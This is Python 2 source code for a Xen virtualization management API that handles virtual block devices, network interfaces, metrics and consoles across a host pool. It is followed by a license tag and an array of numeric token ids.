log.debug('get VBDs by VDI:') vbd = vdi.getVBDs() log.debug(vbd) else: return xen_api_success(False) if vbd and isinstance(vbd, list): vbd_ref = vbd[0] else: return xen_api_success(False) log.debug("vbd ref: %s" % vbd_ref) response = self.VBD_destroy(session, vbd_ref) if cmp(response.get('Status'), 'Success') == 0: return xen_api_success(True) else: return xen_api_success(False) except Exception, exn: log.exception(exn) return xen_api_success(False) finally: self.__vbd_lock__.release() # Xen API: Class VBD # ---------------------------------------------------------------- VBD_attr_ro = ['VM', 'VDI', 'metrics', 'runtime_properties', 'io_read_kbs', 'io_write_kbs'] VBD_attr_rw = ['device', 'bootable', 'mode', 'type'] VBD_attr_inst = VBD_attr_rw VBD_methods = [('media_change', None), ('destroy', None), ('destroy_on', None)] VBD_funcs = [('create', 'VBD'), ('create_on', 'VBD')] # object methods def VBD_get_record(self, session, vbd_ref): storage = self._get_BNStorageAPI_instance() xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('vbd', vbd_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) cfg = vm.get_dev_xenapi_config('vbd', vbd_ref) if not cfg: return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) valid_vbd_keys = self.VBD_attr_ro + self.VBD_attr_rw + \ self.Base_attr_ro + self.Base_attr_rw return_cfg = {} for k in cfg.keys(): if k in valid_vbd_keys: return_cfg[k] = cfg[k] return_cfg['metrics'] = vbd_ref return_cfg['runtime_properties'] = {} #todo return_cfg['io_read_kbs'] = vm.get_dev_property('vbd', vbd_ref, 'io_read_kbs') return_cfg['io_write_kbs'] = vm.get_dev_property('vbd', vbd_ref, 'io_write_kbs') if return_cfg.has_key('VDI') and return_cfg.get('VDI'): location = storage.VDI_get_location(session, return_cfg.get('VDI')).get('Value') if location: return_cfg['userdevice'] = location # log.debug(return_cfg) return xen_api_success(return_cfg) def VBD_media_change(self, session, vbd_ref, new_vdi_ref): xendom = XendDomain.instance() xennode = XendNode.instance() vm = xendom.get_vm_with_dev_uuid('vbd', vbd_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) cur_vbd_struct = vm.get_dev_xenapi_config('vbd', vbd_ref) if not cur_vbd_struct: return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) if cur_vbd_struct['type'] != XEN_API_VBD_TYPE[0]: # Not CD return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) if cur_vbd_struct['mode'] != 'RO': # Not read only return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) new_vdi = xennode.get_vdi_by_uuid(new_vdi_ref) if not new_vdi: return xen_api_error(['HANDLE_INVALID', 'VDI', new_vdi_ref]) new_vdi_image = new_vdi.get_location() valid_vbd_keys = self.VBD_attr_ro + self.VBD_attr_rw + \ self.Base_attr_ro + self.Base_attr_rw new_vbd_struct = {} for k in cur_vbd_struct.keys(): if k in valid_vbd_keys: new_vbd_struct[k] = cur_vbd_struct[k] new_vbd_struct['VDI'] = new_vdi_ref try: XendTask.log_progress(0, 100, vm.change_vdi_of_vbd, new_vbd_struct, new_vdi_image) except XendError, e: log.exception("Error in VBD_media_change") return xen_api_error(['INTERNAL_ERROR', str(e)]) return xen_api_success_void() # class methods def VBD_create_on(self, session, vbd_struct, host_ref): storage = self._get_BNStorageAPI_instance() # log.debug(vbd_struct) if BNPoolAPI._isMaster: vbd_type = vbd_struct.get('type') if cmp(host_ref, XendNode.instance().uuid) == 0: return self.VBD_create(session, vbd_struct) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) if cmp(vbd_type, XEN_API_VBD_TYPE[0]) == 0: vdi = vbd_struct.get('VDI') if vdi: log.debug(storage.VDI_get_name_label(session, vdi)) vdi_name = storage.VDI_get_name_label(session, vdi).get('Value') if vdi_name: remote_vdi = xen_rpc_call(remote_ip, 'VDI_get_by_name_label', vdi_name).get('Value') if remote_vdi: vbd_struct['VDI'] = remote_vdi else: return xen_api_error(['%s VDI %s not find!' % (remote_ip, vdi_name)]) else: return xen_api_error(['Invaild VDI %s' % vdi]) else: return xen_api_error(['vbd struct error, VDI not define.']) return xen_rpc_call(remote_ip, 'VBD_create', vbd_struct) else: return self.VBD_create(session, vbd_struct) def VBD_create(self, session, vbd_struct): vm_ref = vbd_struct.get('VM') if not vm_ref: return xen_api_error(['VM_NOT_FOUND']) if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VBD_create(session, vbd_struct) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VBD_create', vbd_struct) else: return self._VBD_create(session, vbd_struct) def _VBD_create(self, session, vbd_struct): xendom = XendDomain.instance() xennode = XendNode.instance() if not xendom.is_valid_vm(vbd_struct['VM']): return xen_api_error(['VM_NOT_FOUND', 'VM', vbd_struct['VM']]) dom = xendom.get_vm_by_uuid(vbd_struct['VM']) vdi = xennode.get_vdi_by_uuid(vbd_struct['VDI']) if not vdi: return xen_api_error(['HANDLE_INVALID', 'VDI', vbd_struct['VDI']]) # new VBD via VDI/SR vdi_image = vdi.get_location() log.debug("vdi location: %s" % vdi_image) try: vbd_ref = XendTask.log_progress(0, 100, dom.create_vbd_for_xenapi, vbd_struct, vdi_image) log.debug('VBD_create %s' % vbd_ref) except XendError, e: log.exception("Error in VBD_create") return xen_api_error(['INTERNAL_ERROR', str(e)]) xendom.managed_config_save(dom) return xen_api_success(vbd_ref) def VBD_destroy(self, session, vbd_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('vbd', vbd_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VBD', vbd_ref]) # vdi_ref = XendDomain.instance()\ # .get_dev_property_by_uuid('vbd', vbd_ref, "VDI") # vdi = XendNode.instance().get_vdi_by_uuid(vdi_ref) XendTask.log_progress(0, 100, vm.destroy_vbd, vbd_ref) xendom.managed_config_save(vm) return xen_api_success_void() def VBD_destroy_on(self, session, vbd_ref, host_ref): if BNPoolAPI._isMaster: if cmp(host_ref, XendNode.instance().uuid) == 0: return self.VBD_destroy(session, vbd_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, "VBD_destroy", vbd_ref) else: return self.VBD_destroy(session, vbd_ref) def _VBD_get(self, vbd_ref, prop): return xen_api_success( XendDomain.instance().get_dev_property_by_uuid( 'vbd', vbd_ref, prop)) # attributes (ro) def VBD_get_metrics(self, _, vbd_ref): return xen_api_success(vbd_ref) def VBD_get_runtime_properties(self, _, vbd_ref): xendom = XendDomain.instance() dominfo = xendom.get_vm_with_dev_uuid('vbd', vbd_ref) device = dominfo.get_dev_config_by_uuid('vbd', vbd_ref) try: devid = int(device['id']) device_sxps = dominfo.getDeviceSxprs('vbd') device_dicts = [dict(device_sxp[1][0:]) for device_sxp in device_sxps] device_dict = [device_dict for device_dict in device_dicts if int(device_dict['virtual-device']) == devid][0] return xen_api_success(device_dict) except Exception, exn: log.exception(exn) return xen_api_success({}) # attributes (rw) def VBD_get_VM(self, session, vbd_ref): return self._VBD_get(vbd_ref, 'VM') def VBD_get_VDI(self, session, vbd_ref): return self._VBD_get(vbd_ref, 'VDI') def VBD_get_device(self, session, vbd_ref): return self._VBD_get(vbd_ref, 'device') def VBD_get_bootable(self, session, vbd_ref): return self._VBD_get(vbd_ref, 'bootable') def VBD_get_mode(self, session, vbd_ref): return self._VBD_get(vbd_ref, 'mode') def VBD_get_type(self, session, vbd_ref): return self._VBD_get(vbd_ref, 'type') def VBD_set_bootable(self, session, vbd_ref, bootable): bootable = bool(bootable) xd = XendDomain.instance() vm = xd.get_vm_with_dev_uuid('vbd', vbd_ref) vm.set_dev_property('vbd', vbd_ref, 'bootable', int(bootable)) xd.managed_config_save(vm) return xen_api_success_void() def VBD_set_mode(self, session, vbd_ref, mode): if mode == 'RW': mode = 'w' else: mode = 'r' xd = XendDomain.instance() vm = xd.get_vm_with_dev_uuid('vbd', vbd_ref) vm.set_dev_property('vbd', vbd_ref, 'mode', mode) xd.managed_config_save(vm) return xen_api_success_void() def VBD_set_VDI(self, session, vbd_ref, VDI): xd = XendDomain.instance() vm = xd.get_vm_with_dev_uuid('vbd', vbd_ref) vm.set_dev_property('vbd', vbd_ref, 'VDI', VDI) xd.managed_config_save(vm) return xen_api_success_void() def VBD_get_all(self, session): xendom = XendDomain.instance() vbds = [d.get_vbds() for d in XendDomain.instance().list('all')] vbds = reduce(lambda x, y: x + y, vbds) return xen_api_success(vbds) # Xen API: Class VBD_metrics # ---------------------------------------------------------------- VBD_metrics_attr_ro = ['io_read_kbs', 'io_write_kbs', 'last_updated'] VBD_metrics_attr_rw = [] VBD_metrics_methods = [] def VBD_metrics_get_all(self, session): return self.VBD_get_all(session) def VBD_metrics_get_record(self, _, ref): vm = XendDomain.instance().get_vm_with_dev_uuid('vbd', ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VBD_metrics', ref]) return xen_api_success( { 'io_read_kbs' : vm.get_dev_property('vbd', ref, 'io_read_kbs'), 'io_write_kbs' : vm.get_dev_property('vbd', ref, 'io_write_kbs'), 'last_updated' : now() }) def VBD_metrics_get_io_read_kbs(self, _, ref): return self._VBD_get(ref, 'io_read_kbs') def VBD_metrics_get_io_write_kbs(self, session, ref): return self._VBD_get(ref, 'io_write_kbs') def VBD_metrics_get_last_updated(self, _1, _2): return xen_api_success(now()) # Xen API: Class VIF # ---------------------------------------------------------------- VIF_attr_ro = ['network', 'VM', 'metrics', 'runtime_properties'] VIF_attr_rw = ['device', 'MAC', 'MTU', 'security_label', 'physical_network', 'physical_network_local', ] VIF_attr_inst = VIF_attr_rw VIF_methods = [('destroy', None)] VIF_funcs = [('create', 'VIF'), ('create_on', 'VIF'), ('create_bind_to_physical_network', None) ] # object methods def VIF_get_record(self, session, vif_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('vif', vif_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VIF', vif_ref]) cfg = vm.get_dev_xenapi_config('vif', vif_ref) if not cfg: return xen_api_error(['HANDLE_INVALID', 'VIF', vif_ref]) valid_vif_keys = self.VIF_attr_ro + self.VIF_attr_rw + \ self.Base_attr_ro + self.Base_attr_rw return_cfg = {} for k in cfg.keys(): if k in valid_vif_keys: return_cfg[k] = cfg[k] return_cfg['metrics'] = vif_ref return xen_api_success(return_cfg) # class methods def VIF_create_on(self, session, vif_struct, host_ref): if BNPoolAPI._isMaster: network = vif_struct.get('network') log.debug("get network from rec: %s", network) #if network: # log.debug(xenapi.network_get_name_label(session, network)) # network_label = xenapi.network_get_name_label(session, network).get('Value') # # log.debug(network_label) #else: # vif_struct['network'] = 'ovs0' # log.debug("get from network : %s" % vif_struct.get('network')) # #return xen_api_error(['network not found']) if not network or cmp(network, 'OpaqueRef:NULL') == 0: vif_struct['network'] = 'ovs1' log.debug("get from network : %s" % vif_struct.get('network')) if cmp(host_ref, XendNode.instance().uuid) == 0: return self.VIF_create(session, vif_struct) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) #remote_network = xen_rpc_call(remote_ip, 'network_get_by_name_label', network_label).get('Value') #if remote_network: # log.debug(remote_network[0]) # vif_struct['network'] = remote_network[0] #else: # return xen_api_error(['%s network not found!' % remote_ip, 'Network']) return xen_rpc_call(remote_ip, 'VIF_create', vif_struct) else: network = vif_struct.get('network') log.debug("get network from rec: %s", network) if not network or cmp(network, 'OpaqueRef:NULL') == 0: vif_struct['network'] = 'ovs1' log.debug("get from network : %s" % vif_struct.get('network')) return self.VIF_create(session, vif_struct) def VIF_create_bind_to_physical_network(self, session, vif_struct, phy_network): if BNPoolAPI._isMaster: vm_ref = vif_struct.get('VM', '') host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VIF_create_bind_to_physical_network(session, vif_struct, phy_network) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VIF_create_bind_to_physical_network', vif_struct, phy_network) else: return self._VIF_create_bind_to_physical_network(session, vif_struct, phy_network) def _VIF_create_bind_to_physical_network(self, session, vif_struct, phy_network): vm_ref = vif_struct.get('VM', '') vifs = self._VM_get_VIFs(session, vm_ref).get('Value') if vifs: if cmp(len(vifs), INTERFACE_LIMIT) >= 0: return xen_api_error(['DEVICE_OUT_OF_RANGE', 'VIF']) xenapi = self._get_XendAPI_instance() log.debug('VIF create bind to physical network') network_refs = xenapi.network_get_all(session).get('Value') network_names = [] for ref in network_refs: namelabel = xenapi.network_get_name_label(session, ref).get('Value') network_names.append(namelabel) # log.debug(network_names) if phy_network not in network_names: return xen_api_error(['Network name do not exist!'] + network_names) vif_struct['network'] = phy_network log.debug("get from network : %s" % vif_struct.get('network')) return self._VIF_create(session, vif_struct) ''' set physical network for vm, pass the refer ''' def VIF_set_physical_network(self, session, vif_ref, vm_ref, phy_network): log.debug('VIF(%s)_set_physical_network on vm(%s)' % (vif_ref, vm_ref)) if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self.VIF_set_physical_network_local(session, vif_ref, vm_ref, phy_network) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VIF_set_physical_network', vif_ref, vm_ref, phy_network) else: return self.VIF_set_physical_network_local(session, vif_ref, vm_ref, phy_network) def VIF_set_physical_network_local(self, session, vif_ref, vm_ref, phy_network): xenapi = self._get_XendAPI_instance() log.debug('local method VIF(%s)_set_physical_network on vm(%s)' % (vif_ref, vm_ref)) network_refs = xenapi.network_get_all(session).get('Value') network_names = {} for ref in network_refs: namelabel = xenapi.network_get_name_label(session, ref).get('Value') network_names[namelabel] = ref log.debug(network_names) if phy_network not in network_names: return xen_api_error(['Network name do not exist!'] + network_names) xendom = XendDomain.instance() dom = xendom.get_vm_with_dev_uuid('vif', vif_ref) if not dom: log.debug('vif cannot be found on vm!') return xen_api_error(['HANDLE_INVALID', 'VIF', vif_ref]) # if dom._stateGet() == XEN_API_VM_POWER_STATE_RUNNING: # log.debug('VM(%s) is running!' % vm_ref) # return xen_api_error(['VM is running!']) try: origin_network = self.VIF_get_network(session, vif_ref).get('Value') except: log.exception("VIF did not have Network field.") origin_network = None new_network = network_names[phy_network] origin_bridge = self._VIF_get(vif_ref, 'bridge').get('Value') # origin_bridge = xenapi.network_get_name_label(session, origin_network).get('Value') new_bridge = phy_network # log.debug('origin_network: %s and new_network: %s' % (origin_network, new_network)) # log.debug('origin_bridge: %s and new_bridge: %s' % (origin_bridge, new_bridge)) #must set both network and bridge, or set bridge only, #do not set network only, set network only won't work rc = True rc1 = True if origin_network and cmp(origin_network, new_network) != 0 : rc = self._VIF_set(vif_ref, 'network', new_network, origin_network) if cmp(origin_bridge, new_bridge) != 0: rc1 = self._VIF_set(vif_ref, 'bridge', new_bridge, origin_bridge) if rc == False or rc1 == False: log.error('set vif physical network failed') return xen_api_error(['set vif physical network failed']) return xen_api_success_void() def VIF_create(self, session, vif_struct): vm_ref = vif_struct.get('VM') if not vm_ref: return xen_api_error(['VM_NOT_FOUND']) if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VIF_create(session, vif_struct) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VIF_create', vif_struct) else: return self._VIF_create(session, vif_struct) def _VIF_create(self, session, vif_struct): xendom = XendDomain.instance() mac = vif_struct.get('MAC') vm_ref = vif_struct.get('VM') if not xendom.is_valid_vm(vm_ref): return xen_api_error(['VM_NOT_FOUND', 'VM', vif_struct.get('VM')]) vifs = self._VM_get_VIFs(session, vm_ref).get('Value') if vifs: if cmp(len(vifs), INTERFACE_LIMIT) >= 0: return xen_api_error(['DEVICE_OUT_OF_RANGE', 'VIF']) if not self._VIF_is_mac_format_legal(mac): return xen_api_error(['MAC_INVALID']) dom = xendom.get_vm_by_uuid(vif_struct.get('VM')) try: vif_ref = dom.create_vif(vif_struct) xendom.managed_config_save(dom) return xen_api_success(vif_ref) except XendError, exn: return xen_api_error(['INTERNAL_ERROR', str(exn)]) def _VIF_is_mac_format_legal(self, mac): mac_re = re.compile("00:16:3e:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]:[0-9a-f][0-9a-f]") if not mac: return True if mac and cmp(mac_re.match(mac), None) != 0: return True return False def VIF_destroy(self, session, vif_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('vif', vif_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VIF', vif_ref]) vm.destroy_vif(vif_ref) xendom.managed_config_save(vm) return xen_api_success_void() def _VIF_get(self, ref, prop): return xen_api_success( XendDomain.instance().get_dev_property_by_uuid('vif', ref, prop)) # getters/setters def VIF_get_metrics(self, _, vif_ref): return xen_api_success(vif_ref) def VIF_get_VM(self, session, vif_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('vif', vif_ref) return xen_api_success(vm.get_uuid()) def VIF_get_MTU(self, session, vif_ref): return self._VIF_get(vif_ref, 'MTU') def VIF_get_MAC(self, session, vif_ref): return self._VIF_get(vif_ref, 'MAC') def VIF_get_device(self, session, vif_ref): return self._VIF_get(vif_ref, 'device') def VIF_get_network(self, session, vif_ref): return self._VIF_get(vif_ref, 'network') def VIF_get_all(self, session): xendom = XendDomain.instance() vifs = [d.get_vifs() for d in XendDomain.instance().list('all')] vifs = reduce(lambda x, y: x + y, vifs) return xen_api_success(vifs) def VIF_get_runtime_properties(self, _, vif_ref): xendom = XendDomain.instance() dominfo = xendom.get_vm_with_dev_uuid('vif', vif_ref) device = dominfo.get_dev_config_by_uuid('vif', vif_ref) try: devid = int(device['id']) device_sxps = dominfo.getDeviceSxprs('vif') device_dicts = [dict(device_sxp[1][1:]) for device_sxp in device_sxps] device_dict = [device_dict for device_dict in device_dicts if int(device_dict['handle']) == devid][0] return xen_api_success(device_dict) except Exception, exn: log.exception(exn) return xen_api_success({}) def VIF_get_security_label(self, session, vif_ref): return self._VIF_get(vif_ref, 'security_label') def _VIF_set(self, ref, prop, val, old_val): return XendDomain.instance().set_dev_property_by_uuid( 'vif', ref, prop, val, old_val) def VIF_set_security_label(self, session, vif_ref, sec_lab, old_lab): xendom = XendDomain.instance() dom = xendom.get_vm_with_dev_uuid('vif', vif_ref) if not dom: return xen_api_error(['HANDLE_INVALID', 'VIF', vif_ref]) if dom._stateGet() == XEN_API_VM_POWER_STATE_RUNNING: raise SecurityError(-xsconstants.XSERR_RESOURCE_IN_USE) rc = self._VIF_set(vif_ref, 'security_label', sec_lab, old_lab) if rc == False: raise SecurityError(-xsconstants.XSERR_BAD_LABEL) return xen_api_success(xsconstants.XSERR_SUCCESS) # Xen API: Class VIF_metrics # ---------------------------------------------------------------- VIF_metrics_attr_ro = ['io_read_kbs', 'io_write_kbs', 'io_total_read_kbs', 'io_total_write_kbs', 'last_updated'] VIF_metrics_attr_rw = [] VIF_metrics_methods = [] def VIF_metrics_get_all(self, session): return self.VIF_get_all(session) def VIF_metrics_get_record(self, _, ref): vm = XendDomain.instance().get_vm_with_dev_uuid('vif', ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'VIF_metrics', ref]) return xen_api_success( { 'io_read_kbs' : vm.get_dev_property('vif', ref, 'io_read_kbs'), 'io_write_kbs' : vm.get_dev_property('vif', ref, 'io_write_kbs'), 'io_total_read_kbs' : vm.get_dev_property('vif', ref, 'io_total_read_kbs'), 'io_total_write_kbs' : vm.get_dev_property('vif', ref, 'io_total_write_kbs'), 'last_updated' : now() }) def VIF_metrics_get_io_read_kbs(self, _, ref): return self._VIF_get(ref, 'io_read_kbs') def VIF_metrics_get_io_write_kbs(self, session, ref): return self._VIF_get(ref, 'io_write_kbs') def VIF_metrics_get_io_total_read_kbs(self, _, ref): return self._VIF_get(ref, 'io_total_read_kbs') def VIF_metrics_get_io_total_write_kbs(self, session, ref): return self._VIF_get(ref, 'io_total_write_kbs') def VIF_metrics_get_last_updated(self, _1, _2): return xen_api_success(now()) # Xen API: Class console # ---------------------------------------------------------------- console_attr_ro = ['location', 'protocol', 'VM'] console_attr_rw = ['other_config'] console_methods = [('destroy', None)] console_funcs = [('create', 'console'), ('create_on', 'console')] def console_get_all(self, session): xendom = XendDomain.instance() # cons = list(BNPoolAPI._consoles_to_VM.keys()) cons = [d.get_consoles() for d in XendDomain.instance().list('all')] cons = reduce(lambda x, y: x + y, cons) return xen_api_success(cons) def console_get_location(self, session, console_ref): if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_console(console_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._console_get_location(console_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, "console_get_location", console_ref) else: return self._console_get_location(console_ref) def _console_get_location(self, console_ref): xendom = XendDomain.instance() return xen_api_success(xendom.get_dev_property_by_uuid('console', console_ref, 'location')) def console_get_protocol(self, session, console_ref): xendom = XendDomain.instance() return xen_api_success(xendom.get_dev_property_by_uuid('console', console_ref, 'protocol')) def console_get_VM(self, session, console_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('console', console_ref) return xen_api_success(vm.get_uuid()) def console_get_other_config(self, session, console_ref): xendom = XendDomain.instance() return xen_api_success(xendom.get_dev_property_by_uuid('console', console_ref, 'other_config')) # object methods def _console_get_record(self, session, console_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('console', console_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'console', console_ref]) cfg = vm.get_dev_xenapi_config('console', console_ref) log.debug(cfg) if not cfg: return xen_api_error(['HANDLE_INVALID', 'console', console_ref]) valid_console_keys = self.console_attr_ro + self.console_attr_rw + \ self.Base_attr_ro + self.Base_attr_rw return_cfg = {} for k in cfg.keys(): if k in valid_console_keys: return_cfg[k] = cfg[k] return xen_api_success(return_cfg) def console_get_record(self, session, console_ref): if BNPoolAPI._isMaster: # try: host_ref = BNPoolAPI.get_host_by_console(console_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._console_get_record(session, console_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'console_get_record', console_ref) # proxy = ServerProxy('http://' + remote_ip + ':9363') # response = proxy.session.login('root') # if cmp(response['Status'], 'Failure') == 0: # return xen_api_error(response['ErrorDescription']) # session_ref = response['Value'] # return proxy.console.get_record(session_ref, console_ref) # except KeyError: # return xen_api_error(['key error', console_ref]) # except socket.error: # return xen_api_error(['socket error', console_ref]) else: return self._console_get_record(session, console_ref) def console_create_on(self, session, console_struct, host_ref): if BNPoolAPI._isMaster: if cmp(host_ref, XendNode.instance().uuid) == 0: return self.console_create(session, console_struct) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) response = xen_rpc_call(remote_ip, 'console_create', console_struct) if cmp (response.get('Status'), 'Success') == 0: BNPoolAPI.update_data_struct("console_create", response.get('Value'), console_struct.get('VM')) return response else: return self.console_create(session, console_struct) def console_create(self, session, console_struct): vm_ref = console_struct['VM'] if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._console_create(session, console_struct) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'console_create', console_struct) else: return self._console_create(session, console_struct) def _console_create(self, session, console_struct): xendom = XendDomain.instance() if not xendom.is_valid_vm(console_struct['VM']): return xen_api_error(['HANDLE_INVALID', 'VM', console_struct['VM']]) dom = xendom.get_vm_by_uuid(console_struct['VM']) try: if 'protocol' not in console_struct: return xen_api_error(['CONSOLE_PROTOCOL_INVALID', 'No protocol specified']) console_ref = dom.create_console(console_struct) xendom.managed_config_save(dom) BNPoolAPI.update_data_struct("console_create", console_ref, dom.get_uuid()) return xen_api_success(console_ref) except XendError, exn: return xen_api_error(['INTERNAL_ERROR', str(exn)]) def console_destroy(self, session, console_ref): xendom = XendDomain.instance() vm = xendom.get_vm_with_dev_uuid('console', console_ref) if not vm: return xen_api_error(['HANDLE_INVALID', 'Console', console_ref]) vm.destroy_console(console_ref) xendom.managed_config_save(vm) return xen_api_success_void() def console_set_other_config(self, session, console_ref, other_config): xd = XendDomain.instance() vm = xd.get_vm_with_dev_uuid('console', console_ref) vm.set_console_other_config(console_ref, other_config) xd.managed_config_save(vm) return xen_api_success_void() class BNVMAPIAsyncProxy: """ A redirector for Async.Class.function calls to XendAPI but wraps the call for use with the XendTaskManager. @ivar xenapi: Xen API instance @ivar method_map: Mapping from XMLRPC method name to callable objects. """ method_prefix = 'Async.' def __init__(self, xenapi): """Initialises the Async Proxy by making a map of all implemented Xen API methods for use with XendTaskManager. @param xenapi: XendAPI instance """ self.xenapi = xenapi self.method_map = {} for method_name in dir(self.xenapi): method = getattr(self.xenapi, method_name) if method_name[0] != '_' and hasattr(method, 'async') \ and method.async == True: self.method_map[method.api] = method def _dispatch(self, method, args): """Overridden method so that SimpleXMLRPCServer will resolve methods through this method rather than through inspection. @param method: marshalled method name from XMLRPC. @param args: marshalled arguments from XMLRPC. """ # Only deal with method names that start with "Async." if not method.startswith(self.method_prefix): return xen_api_error(['MESSAGE_METHOD_UNKNOWN', method]) # Lookup synchronous version of the method synchronous_method_name = method[len(self.method_prefix):] if synchronous_method_name not in self.method_map: return xen_api_error(['MESSAGE_METHOD_UNKNOWN', method]) method = self.method_map[synchronous_method_name] # Check that we've got enough arguments before issuing a task ID. needed = argcounts[method.api] if len(args) != needed: return xen_api_error(['MESSAGE_PARAMETER_COUNT_MISMATCH', self.method_prefix + method.api, needed, len(args)]) # Validate the session before proceeding session = args[0] if not auth_manager().is_session_valid(session): return xen_api_error(['SESSION_INVALID', session]) # create and execute the task, and return task_uuid return_type = getattr(method, 'return_type', '<none/>') task_uuid = XendTaskManager.create_task(method, args, synchronous_method_name, return_type, synchronous_method_name, session) return xen_api_success(task_uuid) def instance(): """Singleton constructror. Use this method instead of the class constructor. """ global inst try: inst except: inst = BNVMAPI(None) return inst
mit
[ 646, 5190, 202, 199, 646, 6485, 202, 199, 646, 747, 202, 199, 646, 10703, 202, 199, 646, 1059, 202, 199, 646, 984, 202, 199, 646, 5796, 202, 199, 646, 900, 202, 199, 646, 19122, 202, 199, 646, 2838, 202, 199, 646, 2702, 202, 199, 646, 1331, 202, 199, 646, 295, 2999, 199, 646, 31314, 7705, 12, 31314, 7705, 2354, 12, 31314, 1716, 12, 31314, 36, 10528, 12, 31314, 2028, 202, 199, 646, 31314, 14054, 12, 31314, 4476, 2988, 12, 31314, 1282, 1311, 475, 264, 12, 31314, 2090, 7506, 202, 199, 504, 20388, 14, 88, 500, 14, 18273, 5453, 3735, 492, 699, 46, 5453, 3735, 202, 199, 504, 20388, 14, 1974, 14, 17596, 1258, 492, 7146, 4936, 202, 199, 504, 20388, 14, 88, 500, 492, 5377, 465, 3805, 2580, 202, 199, 504, 31314, 14054, 492, 943, 202, 199, 504, 31314, 4491, 492, 31314, 4491, 202, 199, 504, 31314, 547, 492, 627, 202, 199, 504, 31314, 4476, 492, 31314, 4476, 202, 199, 504, 20388, 14, 1974, 492, 3384, 465, 2312, 8996, 202, 199, 504, 20388, 14, 1974, 492, 5365, 8077, 202, 199, 504, 20388, 14, 88, 500, 492, 308, 9290, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 11011, 5453, 492, 31314, 11011, 5453, 202, 199, 504, 31314, 2817, 51, 30414, 492, 1256, 465, 1790, 63, 2609, 202, 199, 504, 20388, 14, 1974, 14, 17596, 773, 18, 492, 1059, 2021, 202, 199, 504, 20388, 14, 1974, 492, 12965, 5559, 202, 199, 504, 20388, 14, 1974, 14, 9290, 1490, 492, 671, 7942, 19, 2999, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 40, 19600, 1149, 12, 14316, 63, 6689, 63, 8470, 8558, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 17305, 12, 14316, 63, 6689, 63, 51, 28011, 25518, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 24340, 8819, 12, 14316, 63, 6689, 63, 11588, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 2944, 8100, 1149, 12, 869, 6849, 63, 7258, 63, 1348, 2252, 63, 51, 63, 6689, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 812, 1914, 63, 3472, 63, 8893, 12, 812, 1914, 63, 3472, 63, 5943, 63, 2711, 12, 812, 1914, 63, 3472, 63, 3022, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 25699, 63, 13669, 63, 3243, 12, 25699, 63, 13669, 63, 2339, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 445, 36, 63, 54, 11156, 63, 3472, 63, 8893, 12, 6186, 63, 6294, 63, 3243, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 7240, 22492, 63, 5569, 63, 3817, 202, 199, 504, 31314, 3735, 22185, 492, 627, 202, 199, 504, 20388, 14, 88, 500, 14, 2028, 9562, 492, 664, 2028, 5894, 2999, 199, 6487, 275, 6619, 627, 6619, 627, 6619, 2999, 199, 692, 664, 2028, 5894, 360, 3357, 297, 283, 6849, 297, 283, 4032, 63, 3097, 735, 1128, 7587, 43, 63, 13387, 275, 1109, 8, 27988, 5894, 360, 3357, 297, 283, 